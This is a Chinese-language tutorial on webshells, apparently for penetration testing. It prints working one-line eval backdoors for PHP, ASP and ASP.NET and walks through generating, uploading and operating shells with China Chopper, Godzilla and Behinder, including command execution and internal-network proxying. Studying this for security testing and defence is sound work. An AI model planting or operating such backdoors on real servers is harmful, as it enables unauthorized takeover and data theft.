目录
一,Webshell的概念
二,eval函数的定义和用法
三,连接工具菜刀
3.1文件管理
3.2 虚拟终端
3.3 菜刀与burpsuite联动
四,哥斯拉的使用
五,冰蝎
六,webshell分类
七,webshell如何连接
一,Webshell的概念
webshell可以理解为是黑客通过各种手段上传到服务器的一段脚本,通过这段脚本执行服务器代码而达到控制服务器的功能。
常见的脚本语言有:
php,asp,asp.net,jsp
例如:
PHP:<?php@eval($_POST['caidao']);?>
<?php
@eval( $_POST['caidao'] );
?>
//eval是函数,传递的是$_POST里面的参数
ASP:<%eval request("caidao")%>
ASP.NET:<%@Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>
Jspwebshell
二,eval函数的定义和用法
1,eval()函数把字符串按照php代码来计算;
2,该字符串必须是合法的php代码,且必须以分号结尾;
php中的echo的功能是把参数直接输出到页面上:
shell.php中的代码:
<?php
echo $_POST['caidao'];
?>
给参数caidao赋值,然后输出到页面上:
给caidao的值111输出到页面是111
eval函数把字符串按照php代码进行解析,并且该字符串必须是合法的php代码。
eval函数前面加上@符号可以不显示报错。
<?php
eval($_POST['caidao']);
?>
eval函数的作用也是解析参数,我们在firefox随意传递一个参数试试:
可以看到没有加@时我们会看到报错信息
当我们加上@再次运行看看:
一样的数据,但是没有报错
这时候,当我们传递的参数是 合法的php代码,phpinfo(),我们再次运行:
可以看到正确的回显信息,但是一定要记住末尾要以分号结尾,否则会报错
eval函数将客户端传递的字符串传递进来之后在服务器端解析出来,这个过程叫代码执行。
从下图可以发现,eval函数可以将传入的参数当做php代码来执行
注意:
当我们输入windows命令时需要用分号括起来,注意是键盘数字1旁边的分号··
三,连接工具菜刀
添加完之后多了一条记录:
3.1文件管理
然后鼠标右键点文件管理:
出现了类似于windows的磁盘管理器,在这里直接可以看到网站的根目录
在这里可以发现,我们不光可以看到网站的根目录,还可以看到其他的文件,说明权限设置有问题。
同理,还可以看到当前网站的数据库信息:
3.2 虚拟终端
比如,当我们通过菜刀开启这个网站的虚拟终端可以查看此网站的权限:
可以看到这里是系统管理员权限,但是正常的情况下在此网站根目录下是不可以看其他的文件的
3.3 菜刀与burpsuite联动
因为菜刀的默认浏览器是IE浏览器,所以我们打开IE浏览器的代理设置:
打开代理之前首先需要打开IE浏览器的Internet Explore模式
然后通过设置打开代理
注意代理的端口要改为8080:
然后我们打开burpsuite的拦截,例如我们在菜刀上的活动:打开虚拟终端执行一条命令,这时在burpsuite上会截取一段数据包:
四,哥斯拉的使用
点击jar文件:
在前面看到的webshell特征过于明显,很容易被查杀,如下图:
使用哥斯拉:
点击管理->生成,可以看到如下页面
输入自己设置的密码和密钥,这样处理和上面见到的webshell的区别是在即使别人知道了这个webshell但是没有密码也很难利用的。
想生成什么脚本就选择什么加密:
然后点击生成,按照步骤保存:
可以看到生成的webshell:
现在我们将这个webshell放入到网站的根目录下:
用工具访问webshell是空白说明正常:
然后添加webshell测试连接:
显示测试连接成功:
部分功能介绍:
代理主机与代理端口:
例如在进行护网的时候,在做内网渗透时,在内网中拿到一个webshell。这时我们在外面是连不进去的,这时可以通过改变主机和端口进行添加。
然后点击添加,就可以看到和菜刀一样的功能页面:
右键点击进入:
可以看到基础信息:
命令执行窗口可以直接输入windows命令:
文件管理和菜刀大同小异:
数据库管理:
五,冰蝎
点进去:
冰蝎自带webshell:
比如打开php版本的:
可以看到是比较复杂的webshell,不是一句话webshell
正常情况我们需要修改默认的md5密码的,可以在cmd5.com中进行修改:
按要求截取前16位:
然后将修改后的webshell传到网站服务器上:
在冰蝎中右键点击新增shell:
在添加之前可以先用firefox测试一下这个webshell是否存在:
出现空白即存在
添加shell:
点进去能看见具体信息就说明连接成功了:
然后就可以依次使用自带的功能了
六,webshell分类
全功能大马:包含文件管理,命令执行,数据库连接,端口扫描等功能;
一句话小马:主要借助于webshell连接工具进行连接执行诸如文件管理,命令执行,数据库管理等操作
特定功能木马:命令执行,目录扫描
例:
大马
通过网站来进行文件管理,命令执行等操作
firefox访问:
登陆密码是angel,查看webshell密码可以看到
报错但不用管
七,webshell如何连接
大马:直接在浏览器访问,大多数输入密码即可
一句话木马:需要借助webshell链接工具进行连接